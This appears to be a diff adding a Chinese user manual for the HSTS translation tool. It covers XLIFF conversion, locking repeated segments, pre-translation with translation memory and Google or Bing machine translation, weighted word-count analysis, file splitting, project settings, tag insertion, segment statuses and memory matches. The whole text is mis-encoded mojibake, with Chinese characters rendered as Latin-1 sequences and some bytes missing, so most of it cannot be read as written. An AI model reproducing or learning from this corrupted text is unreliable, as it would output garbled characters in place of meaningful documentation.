    + + + 转æ¢æºæ–‡ä»¶ä¸º XLIFF + + 由于 HSTS åªèƒ½ç›´æŽ¥ç¼–辑 XLIFF æ–‡ä»¶ï¼Œæ‰€ä»¥æ‰€æœ‰éž XLIFF æ ¼å¼çš„æºæ–‡ä»¶éƒ½éœ€è¦è½¬æ¢ä¸º XLIFF 之åŽæ‰èƒ½ä½¿ç”¨ + HSTS æ¥ç¿»è¯‘。如果在创建项目的最åŽä¸€æ­¥ï¼Œæ·»åŠ äº†æºæ–‡ä»¶å¹¶é€‰æ‹©äº†è½¬æ¢æºæ–‡ä»¶ä¸º + XLIFF,则自动进入此步骤;å¦åˆ™ï¼Œè¯·å±•å¼€é¡¹ç›®ç›®å½•ï¼Œé€‰æ‹©Source目录或其中的一个或多个文件/文件夹,然åŽåœ¨å³é”®èœå•æˆ–文件èœå•ä¸­é€‰æ‹©è½¬æ¢ä¸º + XLIFF 文件。 + +
    + 转æ¢æºæ–‡ä»¶ä¸º XLIFF + + + + + + + + +
    + + 在转æ¢æºæ–‡ä»¶ä¸º XLIFF + 对è¯æ¡†ä¸­ï¼Œæœ‰å¦‚下å‚æ•°å¯ä¾›è®¾ç½®ï¼š
    + 转æ¢æºæ–‡ä»¶ä¸º XLIFF 对è¯æ¡† + + + + + + + + +
    + + + + 文件属性 + + + + æ ¼å¼ + + æºæ–‡ä»¶çš„æ ¼å¼ç±»åž‹ã€‚ + + + + ç¼–ç  + + æºæ–‡ä»¶çš„内容编ç ã€‚ + + + + + + 转æ¢é€‰é¡¹ + + + + 覆盖åŒå文件 + + 默认情况下,HSTS ä¸ä¼šè¦†ç›–已存在的文件。若待生æˆçš„ XLIFF + 文件已ç»å­˜åœ¨ï¼Œåˆ™åªæœ‰é€‰æ‹©è¦†ç›–æ‰å¯ä»¥ç»§ç»­è½¬æ¢ã€‚请在选择此项å‰ç¡®è®¤å°†è¢«è¦†ç›–的文件中ä¸åŒ…å«æœ‰ç”¨çš„内容,或已将其备份。 + + + + 预翻译 + + 对转æ¢åŽç”Ÿæˆçš„ XLIFF 文件进行预翻译,为åŽé¢çš„翻译æ供便利。 + + + + 目标语言 + + å¯ä»¥ä¸€æ¬¡æ€§å°†æºæ–‡ä»¶è½¬æ¢ä¸ºå¤šä¸ªç›®æ ‡è¯­è¨€çš„ XLIFF 文件,在这里通过 + Ctrl/Shift 加鼠标左键选择。 + + + + + + 分段规则 + + SRX + 分段规则文件定义了如何将一段è¯æ‹†åˆ†ä¸ºå¥å­ï¼Œç”¨æˆ·å¯ä»¥é€‰æ‹©ä¸åŒçš„分段规则以适应æŸäº›ç‰¹å®šå®¢æˆ·ã€è¯­è¨€æˆ–文件的分段è¦æ±‚。对分段规则的定制å¯å‚考“é…置分段规则â€ã€‚ + + +
    + + + é”定é‡å¤æ–‡æœ¬æ®µ + + 在一个项目中,相åŒçš„å¥å­ï¼ˆæ–‡æœ¬æ®µï¼‰å¯èƒ½ä¼šå‡ºçŽ°å¤šæ¬¡ã€‚为使这些é‡å¤æ–‡æœ¬æ®µæœ‰ä¸€è‡´çš„译文ã€åŒæ—¶èŠ‚çœå¤„ç†é‡å¤æ–‡æœ¬æ®µçš„时间,推èçš„åšæ³•æ˜¯ï¼šå…ˆå°†é‡å¤æ–‡æœ¬æ®µé”定,å†åœ¨ç¿»è¯‘完æˆåŽç»Ÿä¸€ç”¨ç¹æ®–翻译功能,为é‡å¤æ–‡æœ¬æ®µåº”用一个译文。 + + HSTS + æ供了方便的自动é”定é‡å¤æ–‡æœ¬æ®µåŠŸèƒ½ï¼Œè¯¥åŠŸèƒ½ä¼šä¿ç•™é‡å¤æ–‡æœ¬æ®µä¸­çš„第一个为未é”定状æ€ï¼Œè€Œåªé”定第二次åŠä¹‹åŽå‡ºçŽ°çš„é‡å¤æ–‡æœ¬æ®µï¼Œæ–¹ä¾¿åœ¨å…¶ç¬¬ä¸€æ¬¡å‡ºçŽ°æ—¶è¿›è¡Œç¿»è¯‘。具体æ“作步骤如下: + + + + 选择项目XLIFF目录中的一个或多个文件或文件夹,从å³é”®èœå•æˆ–翻译èœå•ä¸­é€‰æ‹©é”定é‡å¤æ–‡æœ¬æ®µã€‚
    + é”定é‡å¤æ–‡æœ¬æ®µ + + + + + + + + +
    +
    + + + 弹出é”定é‡å¤æ–‡æœ¬æ®µå¯¹è¯æ¡†ï¼Œå…¶ä¸­ä¼šåˆ—出刚æ‰é€‰ä¸­çš„所有 + XLIFF 文件,选择è¦é”定的é‡å¤æ–‡æœ¬æ®µç±»åž‹ï¼š
    + é”定é‡å¤æ–‡æœ¬æ®µå¯¹è¯æ¡† + + + + + + + + +
    + + + + 内部é‡å¤ + + 在åŒä¸€ä¸ªæ–‡ä»¶ä¸­åŠé€‰ä¸­çš„文件之间,æºæ–‡ç›¸åŒçš„文本段。 + + + + å®Œå…¨åŒ¹é… + + 有记忆库 100% 匹é…的文本段。 + + + + ä¸Šä¸‹æ–‡åŒ¹é… + + 有记忆库 101% 匹é…的文本段。 + + +
    + + + 点击确定按钮,开始é”定é‡å¤æ–‡æœ¬æ®µï¼Œå®ŒæˆåŽä¼šæ˜¾ç¤ºç»“果。
    + é”定é‡å¤æ–‡æœ¬æ®µç»“æžœ + + + + + + + + +
    +
    +
    +
    + + + 预翻译 + + 预翻译å¯ä»¥ä¸€æ¬¡æ€§ä¸ºé€‰ä¸­çš„ XLIFF + 中所有文本段添加匹é…,使基于匹é…的相关功能更加准确地判断,如字数分æžã€ç¼–辑器文本段过滤器中的é‡å¤æ–‡æœ¬æ®µã€‚ + + HSTS 除了æ供常è§çš„基于记忆库的预翻译外,还支æŒä½¿ç”¨æœºå™¨ç¿»è¯‘引擎为 XLIFF + 预存翻译。使用步骤如下: + + + + 在使用基于记忆库的预翻译之å‰ï¼Œåº”至少为项目设置一个记忆库,且其内容éžç©ºï¼ˆé€šè¿‡å¯¼å…¥ TMX + 或已翻译文本段入库添加了匹é…)。
    + 打开项目设置 + + + + + + + + +
    + +
    + 项目设置:记忆库 + + + + + + + + +
    +
    + + + 选择项目XLIFF目录中的一个或多个文件或文件夹,从å³é”®èœå•æˆ–翻译èœå•ä¸­é€‰æ‹©é¢„翻译。
    + 预翻译 + + + + + + + + +
    将弹出预翻译对è¯æ¡†ï¼Œå…¶ä¸­ä¼šåˆ—出刚æ‰é€‰ä¸­çš„所有 + XLIFF 文件。
    + +
    + 预翻译对è¯æ¡† + + + + + + + + +
    +
    + + + 点击选项按钮,将打开选项中的预翻译相关的å‚数设置界é¢ï¼š + +
    + 选项:预翻译 + + + + + + + + +
    + + + + 预翻译 + + + + 附加æ“作,é”定如下文本段: + + + + å®Œå…¨åŒ¹é… + + + + ä¸Šä¸‹æ–‡åŒ¹é… + + + + + + 对现有译文的处ç†ç­–略: + + + + ä¿ç•™çŽ°æœ‰è¯‘æ–‡ + + + + 仅匹é…率高于现有译文时覆盖 + + + + 始终覆盖现有译文 + + + + + + + + Google Translate + + + + 密钥 + + 需è¦å‘ Google 购买,详情请å‚考。 + + + + 自动机器翻译 + + + + æ—  Google Translate + 预存匹é…时自动执行 + + + + 始终自动执行 + + + + 手动执行 + + + + + + 预存 Google Translate 翻译 + + + + + + Bing Translator + + + + 身份认è¯ï¼Œè¯·å‚考获å–如下两项信æ¯ï¼š + + + + 客户端 ID + + + + 密钥 + + + + + + 自动机器翻译 + + + + æ—  Bing Translator + 预存匹é…时自动执行 + + + + 始终自动执行 + + + + 手动执行 + + + + + + 预存 Bing Translator 翻译 + + + + +
    + + + 点击确定按钮,开始预翻译。视所选择的 XLIFF + 中的文本段多少ã€åŠæ˜¯å¦é¢„存机器翻译,å¯èƒ½éœ€è¦ç­‰å¾…一段时间æ‰èƒ½å®Œæˆã€‚预翻译完æˆåŽï¼Œæ˜¾ç¤ºå¦‚下结果对è¯æ¡†ã€‚ + +
    + 预翻译结果 + + + + + + + + +
    +
    +
    +
    + + + å­—æ•°åˆ†æž + + 对翻译项目进行字数分æžï¼Œèƒ½å¸®åŠ©ç”¨æˆ·äº†è§£ä¸€ä¸ªç¿»è¯‘项目的工作é‡ï¼Œä»¥åŠæ–¹ä¾¿ä¸Žå®¢æˆ·è®¡ä»·æ”¶è´¹ã€æˆ–将翻译工作分å‘给多个译员。HSTS + 还å¯ä»¥æŒ‰ç”¨æˆ·è®¾ç½®çš„匹é…率区间åŠå¯¹åº”的加æƒç³»æ•°æ¥è®¡ç®—翻译项目的加æƒå­—æ•°ã€å¹¶è‡ªåŠ¨å°†ç»“果按å„级文件夹汇总。è¦è¿›è¡Œå­—数分æžï¼Œè¯·æŒ‰å¦‚下步骤æ“作: + + + + 在项目视图中选择项目,然åŽä»Žå³é”®èœå•æˆ–项目èœå•ä¸­æ‰“开项目设置 + > + 记忆库,确认已设置éžç©ºçš„记忆库;若未设置,则应先设置。详情请è§ã€‚ + + + + 选择项目或XLIFFå­ç›®å½•ä¸­çš„任一个或多个文件夹或 + .hsxliff + 文件,从å³é”®èœå•æˆ–项目èœå•ä¸­é€‰æ‹©å­—数分æžã€‚
    + å­—æ•°åˆ†æž + + + + + + + + +
    + +
    + 字数分æžå¯¹è¯æ¡† + + + + + + + + +
    +
    + + + 在字数分æžå¯¹è¯æ¡†ä¸Šï¼Œå¯ä»¥é€‰æ‹©å¦‚下附加æ“作: + + + + é”å®šä¸Šä¸‹æ–‡åŒ¹é… + + + + é”å®šå®Œå…¨åŒ¹é… + + + + é”定é‡å¤æ–‡æœ¬æ®µ + + + + + + 点击选项按钮,还å¯ä»¥è®¾ç½®å¦‚下字数分æžå‚数: + +
    + é€‰é¡¹ï¼šå­—æ•°åˆ†æž + + + + + + + + +
    + + + + 忽略大å°å†™ + + 默认忽略。 + + + + 忽略标记 + + 默认忽略。 + + + + 最低匹é…率 + + 有效值为 1~100%,默认为 70%。 + + + + ä¸Šä¸‹æ–‡æ–‡æœ¬æ®µæ•°é‡ + + 有效值为 1~100,默认为 1。å³ä¸Šæ–‡è€ƒè™‘å‰ä¸€ä¸ªéžç©ºæ–‡æœ¬æ®µï¼Œä¸‹æ–‡è€ƒè™‘åŽä¸€ä¸ªéžç©ºæ–‡æœ¬æ®µã€‚ + + + + 分æžæŠ¥å‘Š + + 是å¦åœ¨å­—数分æžæŠ¥å‘Šä¸­åŒ…å«å†…部é‡å¤ä¸Žå†…部模糊匹é…字数: + + + + 内部é‡å¤ + + + + å†…éƒ¨æ¨¡ç³ŠåŒ¹é… + + + + + + 加æƒç³»æ•° + + 匹é…率区间ã€åŠ æƒç³»æ•°ã€‚此设置用于在计算加æƒå­—数时,将指定匹é…率的文本段字数折算为加æƒå­—数,如通常把é‡å¤æ–‡æœ¬æ®µä¸­çš„æ¯ + 1 个字计算为 0.5 个字。ä¸åŒçš„客户ã€ç¿»è¯‘å…¬å¸ï¼Œå¯èƒ½å¯¹æ­¤é¡¹è®¾ç½®ä¼šæœ‰ä¸åŒçš„è¦æ±‚,用户å¯ä»¥è§†è‡ªèº«çš„需求æ¥ä¿®æ”¹ã€‚
    + 选项:加æƒç³»æ•° + + + + + + + + +
    +
    +
    +
    + + + 设置完æˆåŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®ï¼Œå°†ä¼šåœ¨Intermediate/Reportç›®å½•ä¸‹ç”Ÿæˆ + HTML æ ¼å¼çš„分æžæŠ¥å‘Šï¼Œå¹¶è‡ªåŠ¨æ‰“开。 + +
    + 字数分æžç»“æžœ + + + + + + + + +
    +
    +
    +
    + + + 分割文件 + + 如果å•ä¸ªå¾…翻译文件中的内容较多,为缩短项目周期,å¯ä»¥å°†è¯¥æ–‡ä»¶è½¬æ¢è€Œæˆçš„ XLIFF + 分割为多个å°æ–‡ä»¶ï¼Œåˆ†å‘ç»™ä¸åŒçš„翻译人员åŒæ—¶ç¿»è¯‘。其他 CAT 工具通常是使用直接指定文本段åºå·çš„æ–¹å¼æ¥åˆ†å‰²æ–‡ä»¶ï¼Œè€Œ HSTS + 使用了更加åˆç†ã€äººæ€§åŒ–ã€å¯è§†åŒ–çš„æ“作方å¼ï¼š + + + + åŒå‡»æ‰“开待分割的 XLIFF 文件,æµè§ˆå…¶ä¸­çš„内容。 + + + + æ ¹æ®ä¸Šä¸‹æ–‡åˆ¤æ–­éœ€è¦ä»¥å“ªä¸ªæ–‡æœ¬æ®µä½œä¸ºåˆ†å‰² XLIFF 文件的结æŸç‚¹ï¼Œé€‰æ‹©è¯¥æ–‡æœ¬æ®µï¼Œä½¿ç”¨å³é”®èœå•ä¸­çš„ + XLIFF 文件分割点为其加上分割标记。 + +
    + 分割 XLIFF 文件 添加分割点 + + + + + + + + +
    +
    + + + é‡å¤ä¸Šä¸€æ­¥ï¼Œç›´è‡³æ‰€æœ‰å¾…分割的文本段都已ç»åŠ ä¸Šåˆ†å‰²æ ‡è®°ã€‚ + + + + 在项目视图中选中该 XLIFF + 文件,然åŽç‚¹å‡»å³é”®èœå•æˆ–文件èœå•ä¸­çš„分割 + XLIFF。 + +
    + 分割 XLIFF 文件 + + + + + + + + +
    +
    + + + 在弹出的分割 XLIFF + 文件对è¯æ¡†ä¸­ï¼Œç¡®è®¤åˆ†æ®µä¿¡æ¯å‡†ç¡®æ— è¯¯åŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®å³å¯å®Œæˆ + XLIFF 文件的分割。分割åŽçš„ XLIFF 文件将被ä¿å­˜åˆ°åŽŸ XLIFF 文件所在的目录中ã€åœ¨åŽŸ XLIFF + 文件å上加_splitåŽç¼€çš„新文件夹里。å¯ä»¥ä»Žè¯¥æ–‡ä»¶å¤¹ä¸­æ‰¾åˆ°å·²åˆ†å‰²å¥½çš„ XLIFF + 分å‘ç»™ä¸åŒçš„翻译人员。
    + 分割 XLIFF 文件结果 + + + + + + + + +
    +
    +
    + + 分割åŽçš„ XLIFF 文件,在项目完æˆå‰éœ€è¦åˆå¹¶ï¼Œä»¥ä¾¿æœ€ç»ˆè½¬ä¸ºç›®æ ‡æ–‡ä»¶ï¼Œè¯¦æƒ…è§ã€‚ +
    + + + 项目设置 + + 如果在新建项目å‘导中,跳过了一些信æ¯æ²¡æœ‰è¾“入或设置,å¯ä»¥åœ¨åˆ›å»ºå®ŒæˆåŽè¡¥å……或修改,æ“作步骤如下: + + + + 在项目视图中选择è¦è®¾ç½®çš„项目,从å³é”®èœå•æˆ–项目èœå•ä¸­æ‰“开项目设置。 + +
    + 项目设置 + + + + + + + + +
    +
    + + + 项目设置对è¯æ¡†æ供了新建项目å‘导中出现过的大部分信æ¯ï¼š + + + + 项目信æ¯ï¼ˆæ³¨ï¼šä¸‹å›¾ä¸­çš„ Clientã€Subject + 为自定义的项目属性,详情请è§ï¼‰ + + + + 项目语言 + + + + 记忆库 + + + + 术语库 + + + +
    + +
    + é¡¹ç›®è®¾ç½®ï¼šé¡¹ç›®ä¿¡æ¯ + + + + + + + + +
    + +
    + 项目设置:项目语言 + + + + + + + + +
    + +
    + 项目设置:记忆库 + + + + + + + + +
    + +
    + 项目设置:术语库 + + + + + + + + +
    + + 上述信æ¯çš„修改和设置方å¼ä¹Ÿä¸Žåˆ›å»ºé¡¹ç›®å‘导中相åŒï¼Œæ•…ä¸å†é‡å¤ã€‚ + + 创建项目å‘导中有,而项目设置中没有æ供的两个功能是:修改项目å称ã€æ·»åŠ /删除æºæ–‡ä»¶ã€‚其中,添加/删除æºæ–‡ä»¶çš„æ–¹å¼å·²ç»åœ¨å‰é¢çš„中æ述;修改项目å称则å¯ä»¥åœ¨é€‰ä¸­è¦é‡å‘½å的项目åŽï¼Œä½¿ç”¨ç¼–辑èœå•ä¸‹çš„é‡å‘½å功能æ¥å®Œæˆã€‚ + +
    + 项目é‡å‘½å + + + + + + + + +
    +
    +
    + + + 翻译 + + 翻译过程是翻译项目中最为é‡è¦çš„工作环节,CAT + 工具的作用也主è¦ä½“现于此。åšå®Œäº†å‰é¢æ到的准备工作之åŽï¼Œå°±å¯ä»¥æ­£å¼å¼€å§‹è¿›è¡Œç¿»è¯‘了。当然,å‰é¢æ到的都åªæ˜¯å»ºè®®çš„步骤,在实际过程中å¯ä»¥æ ¹æ®è‡ªå·±çš„需è¦æ¥é€‰æ‹©ï¼Œä¹Ÿå¯ä»¥éšæ—¶åœ¨ç¿»è¯‘过程中回去åšé‚£äº›æ“作。 + + + 打开文件 + + HSTS æ供了两ç§æ–¹å¼æ¥æ‰“å¼€ XLIFF 文件(扩展å为 .hsxliff): + + + + å•ç‹¬æ‰“å¼€ + + åŒå‡»è¦æ‰“开的文件,或选择一个或多个文件åŽä½¿ç”¨å³é”®èœå•ä¸­çš„打开文件,å³å¯ä»¥å•ç‹¬æ‰“开的方å¼æ‰“å¼€ + XLIFF 文件,也就是æ¯ä¸ª XLIFF 文件分别用一个 XLIFF 编辑器打开。 + + + + åˆå¹¶æ‰“å¼€ + + 选择两个以上 XLIFF 文件ã€æˆ–选择包å«è‡³å°‘两个 XLIFF + 文件的一个或多个文件夹ã€æˆ–上述两ç§æƒ…况的组åˆï¼Œç„¶åŽç‚¹å‡»å³é”®èœå•ä¸­çš„åˆå¹¶æ‰“开,å¯ä»¥å°†æ‰€æœ‰é€‰ä¸­çš„ + XLIFF 文件åˆå¹¶åœ¨ä¸€ä¸ª XLIFF 编辑器中打开——就åƒå®ƒä»¬æ˜¯ä¸€ä¸ª XLIFF 文件一样。
    + åˆå¹¶æ‰“å¼€ + + + + + + + + +
    + +
    + åˆå¹¶æ‰“开的效果 + + + + + + + + +
    +
    +
    + + å•ç‹¬æ‰“开文件的方å¼ï¼Œé€‚åˆæ–‡ä»¶ä¸å¤šçš„翻译项目;而åˆå¹¶æ‰“开的方å¼ï¼Œåˆ™å°¤å…¶é€‚用于项目中的文件比较å°ã€æ¯”较多ã€è€Œä¸”有多级目录结构的情况。 +
    + + + 输入译文 + + XLIFF + 编辑器的使用比较直观,用鼠标点击译文所在的å•å…ƒæ ¼ï¼Œä¼šå‡ºçŽ°ä¸€ä¸ªé—ªåŠ¨çš„光标,这时就å¯ä»¥ç›´æŽ¥è¾“入译文了。输入完æˆåŽï¼Œç”¨é¼ æ ‡ç‚¹å‡»è¾“入框之外的区域,或按方å‘键↑ã€â†“转到上一个ã€ä¸‹ä¸€ä¸ªæ–‡æœ¬æ®µï¼Œå‡å¯ä»¥å°†è¾“入的内容实时地ä¿å­˜åˆ° + XLIFF 文件中。 + + + + 在译文中æ’入标记 + + æºæ–‡ä»¶ä¸­çš„一些样å¼ä¿¡æ¯ï¼ˆå¦‚加粗ã€æ–œä½“ã€ä¸‹åˆ’线ã€å‰æ™¯è‰²ã€èƒŒæ™¯è‰²ç­‰ç­‰ï¼‰åœ¨è½¬æ¢ä¸º XLIFF + åŽï¼Œä¼šä»¥å†…部标记的形å¼ä¿å­˜ï¼Œä¾¿äºŽåœ¨è½¬æ¢ä¸ºç›®æ ‡æ–‡ä»¶æ—¶èƒ½å‡†ç¡®è¿˜åŽŸæ¯ä¸ªéƒ¨åˆ†çš„内容所对应的样å¼ã€‚ + + 因此,在翻译过程中,若æºæ–‡ä¸­åŒ…å«æœ‰å†…部标记,则需è¦åœ¨è¯‘文中相应的译文ä½ç½®ä¸Šä¹Ÿæ’å…¥åŒæ ·çš„标记。HSTS + 中的标记按其在æºæ–‡ä¸­çš„出现顺åºç¼–å·ï¼Œåœ¨è¯‘文中æ’入标记时主è¦é€šè¿‡æ ‡è®°åºå·æ¥æ ‡è¯†ã€‚HSTS æ供了如下两ç§æ–¹å¼æ¥åœ¨è¯‘文中æ’入标记: + +
    + æ’入内部标记 + + + + + + + + +
    + + + + 快速æ’入标记 + + 在译文中æ’入指定åºå·ï¼ˆä¸å¤§äºŽ 10)的标记。 + + + + æ’入下一标记 + + 在åºè¨€ä¸­æ’å…¥æºæ–‡æœ‰ã€è€Œè¯‘文没有的最å°åºå·çš„标记。 + + + + 上述两ç§æ’入标记的方å¼ï¼Œå¼ºçƒˆå»ºè®®ä½¿ç”¨å¯¹åº”çš„å¿«æ·é”®æ¥æ‰§è¡Œï¼Œå°†å¤§å¹…æ高æ“作效率。 + + 一些特定的内部标记是æˆå¯¹å‡ºçŽ°çš„,å³ä¸¤ä¸ªæ ‡è®°ä¸€èµ·å‡ºçŽ°ï¼Œå…ˆå‡ºçŽ°çš„称为开始标记ã€åŽå‡ºçŽ°çš„称为结æŸæ ‡è®°ï¼ˆå¦‚加粗字体的开始和结æŸä½ç½®ï¼‰ã€‚而在æˆå¯¹æ ‡è®°çš„开始标记与结æŸæ ‡è®°ä¹‹é—´ï¼Œå¯èƒ½è¿˜ä¼šåµŒå¥—有其他标记(如在一段加粗文字中,还有部分å•è¯å¢žåŠ äº†æ–œä½“æ ·å¼ï¼‰ã€‚æˆå¯¹æ ‡è®°ä¼šä½¿ç”¨ç›¸åŒçš„åºå·ã€‚ + + 除了上述这两ç§ç±»åž‹ï¼ˆæˆå¯¹æ ‡è®°ã€åµŒå¥—标记)的有特定顺åºç»“构的标记之外,其他标记则没有严格的顺åºé™åˆ¶ï¼Œå³è¯‘文中的标记顺åºå¯ä»¥å’Œæºæ–‡ä¸åŒã€‚确定标记应该放在何处的主è¦ä¾æ®æ˜¯æºæ–‡å’Œè¯‘文的内容对应关系:如果被标记包围的æºæ–‡å•è¯åœ¨å¥é¦–,而其对应的译文å•è¯å´åœ¨å¥æœ«ï¼Œåˆ™æ ‡è®°é€šå¸¸ä¹Ÿåº”该åŒæ­¥åœ°åŠ åœ¨è¯‘文的å¥æœ«ï¼ˆåŒ…围与æºæ–‡ä¸­è¢«åŒæ ·æ ‡è®°åŒ…å›´çš„å•è¯æ‰€å¯¹åº”的译文å•è¯ï¼‰ã€‚ + + + 如果先选中部分译文,å†æ’å…¥æˆå¯¹æ ‡è®°ï¼Œåˆ™é€‰ä¸­çš„文本会自动放在这一对标记的中间。如果æ’å…¥æˆå¯¹æ ‡è®°æ—¶æ²¡æœ‰é€‰æ‹©è¯‘文,则光标默认会放在这一对标记中间,以方便在其中输入内容。 + + + + 标记的颜色å¯ä»¥åœ¨å·¥å…· > + 选项 > + 颜色设置中修改。其中,错误标记是指在译文中出现ã€è€Œæºæ–‡ä¸­æ²¡æœ‰å‡ºçŽ°è¿‡çš„标记,需è¦ä»Žè¯‘文中删除这些标记。 + +
    + + + ä¿®æ”¹æ–‡æœ¬æ®µçŠ¶æ€ + + 文本段状æ€å¯ä»¥ç”¨æ¥è¡¨ç¤ºè¯¥æ–‡æœ¬æ®µæ‰€å¤„的翻译æµç¨‹ï¼ŒHSTS æ供了以下几ç§æ–‡æœ¬æ®µçš„翻译æµç¨‹çŠ¶æ€ï¼š + +
    + å³é”®èœå•ï¼šæ–‡æœ¬æ®µçŠ¶æ€ + + + + + + + + +
    + + + + 未翻译 + + 未添加译文的文本段。若把其他状æ€ä¸‹çš„文本段译文删除或清空,则文本段状æ€è‡ªåŠ¨æ”¹ä¸ºæ­¤çŠ¶æ€ã€‚ + + + + è‰ç¨¿ + + 添加了译文ã€ä½†æœªç¡®è®¤æ˜¯å¦å·²ç¿»è¯‘好的文本段。若对éžè‰ç¨¿çŠ¶æ€çš„译文进行了改动ã€ä¸”译文éžç©ºï¼Œåˆ™è‡ªåŠ¨æ”¹ä¸ºæ­¤çŠ¶æ€ã€‚ + + + + 已翻译 + + 添加了译文ã€ä¸”å·²ç»ç¿»è¯‘人员自我确认已翻译完æˆçš„文本段。用户å¯å°†æ–‡æœ¬æ®µä»Žæœªç¿»è¯‘之外的其他状æ€ä½¿ç”¨å®Œæˆç¿»è¯‘功能改为此状æ€ã€‚ + + + + 已批准 + + 译文已ç»ç¼–辑或校对人员åˆæ­¥ç¡®è®¤ç¿»è¯‘无误的文本段,éšå«å·²ç¿»è¯‘。用户å¯å°†æ–‡æœ¬æ®µä»Žæœªç¿»è¯‘之外的其他状æ€ä½¿ç”¨æ‰¹å‡†åŠŸèƒ½æ”¹ä¸ºæ­¤çŠ¶æ€ã€‚ + + + + å·²ç­¾å‘ + + 译文已ç»ç¼–辑或校对人员最终确认å¯ä½œä¸ºç»ˆç¨¿çš„文本段,éšå«å·²æ‰¹å‡†ã€‚用户å¯å°†æ–‡æœ¬æ®µä»Žå·²æ‰¹å‡†çŠ¶æ€ä½¿ç”¨ç­¾å‘功能改为此状æ€ã€‚ + + + + 其中,将文本段状æ€ä¿®æ”¹ä¸ºå·²ç¿»è¯‘或已批准时,若项目正确设置了默认记忆库,则åŒæ—¶è¿˜ä¼šè‡ªåŠ¨å°†æ–‡æœ¬æ®µå…¥åº“,å¦åˆ™åªä¿®æ”¹çŠ¶æ€è€Œä¸å…¥åº“。 +
    + + + 记忆库 + + 在翻译过程中,使用频率较高的记忆库相关功能如下: + + + 文本段入库 + + 将文本段的æºæ–‡åŠå…¶è¯‘æ–‡ä¿å­˜åˆ°è®°å¿†åº“,å¯ä»¥åœ¨ç±»ä¼¼çš„å¥å­ä¸­å¤ç”¨éƒ¨åˆ†è¯‘文,并使ä¸åŒæ–‡æœ¬æ®µçš„译文语言风格尽é‡ä¸€è‡´ã€‚ + + 如å‰é¢æ‰€è¿°ï¼Œå°†æ–‡æœ¬æ®µçŠ¶æ€ä¿®æ”¹ä¸ºå·²ç¿»è¯‘或已批准时,若项目正确设置了默认记忆库,åŒæ—¶è¿˜ä¼šè‡ªåŠ¨å°†æ–‡æœ¬æ®µå…¥åº“,å¦åˆ™åªä¿®æ”¹çŠ¶æ€è€Œä¸å…¥åº“。若需è¦åœ¨é¡¹ç›®å®Œæˆæ—¶ç»Ÿä¸€å°†æ‰€æœ‰æ–‡æœ¬æ®µå…¥åº“,则å¯ä»¥å‚考的内容。 + + 以上述两ç§æ–¹å¼å°†æ–‡æœ¬æ®µå…¥åº“时,对于被判定为é‡å¤ï¼ˆå³æºæ–‡ç›¸åŒï¼‰çš„æ¡ç›®ï¼Œä¸Žå¯¼å…¥ TMX + 时一样å¯ä»¥è®¾ç½®å…¶å¤„ç†ç­–略,详情è§ã€‚ + + + + 获å–当å‰æ–‡æœ¬æ®µçš„åŒ¹é… + + 若已正确地为项目设置了记忆库,则在æ¯æ¬¡é€‰æ‹©ä¸€ä¸ªæ–‡æœ¬æ®µæ—¶ï¼ŒHSTS + 会自动地从记忆库中获å–当å‰æ–‡æœ¬æ®µçš„匹é…,并显示在记忆库视图中。选择具体的匹é…项,还å¯ä»¥åœ¨è®°å¿†åº“视图的状æ€æ ä¸­çœ‹åˆ°è¯¥åŒ¹é…的相关信æ¯ï¼šä¿®æ”¹æ—¶é—´ã€ä¿®æ”¹è€…ã€è®°å¿†åº“å称。 + +
    + è®°å¿†åº“åŒ¹é… + + + + + + + + +
    + + 把鼠标放在该状æ€æ ä¸Šï¼Œåˆ™å¯ä»¥çœ‹åˆ°æ›´å¤šå±žæ€§ä¿¡æ¯ï¼šåˆ›å»ºè€…ã€åˆ›å»ºæ—¶é—´ã€è‡ªå®šä¹‰é¡¹ç›®å±žæ€§ï¼ˆå…¶è®¾ç½®æ–¹æ³•è¯·å‚考ã€ï¼‰ã€‚ + + 用户å¯ä»¥åœ¨å·¥å…·èœå• > + 选项 > 翻译 + > 记忆库中设置查询记忆库时的å‚数: + +
    + 选项:记忆库 + + + + + + + + +
    + + + + 区分大å°å†™ + + + + 忽略标记 + + + + 最低匹é…率 + + 记忆库中与当å‰æ–‡æœ¬æ®µä¹‹é—´çš„匹é…低于此数字的匹é…å°†ä¸ä¼šè¢«æ˜¾ç¤ºã€‚ + + + + ä¸Šä¸‹æ–‡æ–‡æœ¬æ®µæ•°é‡ + + å‚与计算上下文匹é…的上文åŠä¸‹æ–‡çš„文本段数é‡ã€‚ + + + + 匹é…æ˜¾ç¤ºæ•°é‡ + + 若满足最低匹é…率的匹é…æ•°é‡è¾¾åˆ°æ­¤æ•°å­—,则ä¸ä¼šç»§ç»­åœ¨è®°å¿†åº“中查找匹é…。 + + + + 匹é…优先级 + + + + 默认记忆库 + + å³é»˜è®¤è®°å¿†åº“的记录排在éžé»˜è®¤è®°å¿†åº“的记录之å‰ã€‚ + + + + 最近更新 + + å³è¶Šæ–°çš„记录排在越å‰é¢ã€‚ + + + + + + 在记忆库视图中,ä¸åŒçš„匹é…类型用ä¸åŒçš„颜色æ¥è¡¨ç¤ºï¼Œæ–¹ä¾¿ç”¨æˆ·ç›´è§‚地区分它们,这些颜色的设置å¯ä»¥åœ¨å·¥å…·èœå• + > 选项 > + 系统 > + 颜色设置中修改。 + +
    + 选项:颜色设置 + + + + + + + + +
    +
    + + + 将匹é…应用到译文 + + 在记忆库视图中,åŒå‡»åŒ¹é…å¯å°†è¯¥åŒ¹é…的译文应用到当å‰æ–‡æœ¬æ®µï¼ŒåŒæ—¶ï¼Œæ–‡æœ¬æ®µä¸­å¯¹åº”的匹é…率数字的背景色也与该匹é…的背景色一致。å¦å¤–,也å¯ä»¥ä½¿ç”¨å¿«æ·é”® + Alt+1ã€Alt+2ã€Alt+3 + 分别å–第 1ã€2ã€3 个匹é…的译文。 + +
    + 接å—åŒ¹é… + + + + + + + + +
    + + + 如果将匹é…应用到译文之åŽä¿®æ”¹äº†è¯‘文,则该文本段的匹é…率数字的背景色会自动消失(仅ä¿ç•™æ•°å­—而无背景色),以示区别。 + + + 如果已ç»è¾“入了部分译文,åˆæƒ³ä»Žè®°å¿†åº“匹é…中选择部分内容应用到译文中,则å¯ä»¥ç›´æŽ¥ç”¨é¼ æ ‡åœ¨åŒ¹é…的译文中选择需è¦çš„内容,然åŽç”¨ + Ctrl/Command+C + å¤åˆ¶ï¼Œå†ç”¨ + Ctrl/Command+V + 粘贴到文本段中。 + +
    + 记忆库匹é…:选择部分译文 + + + + + + + + +
    +
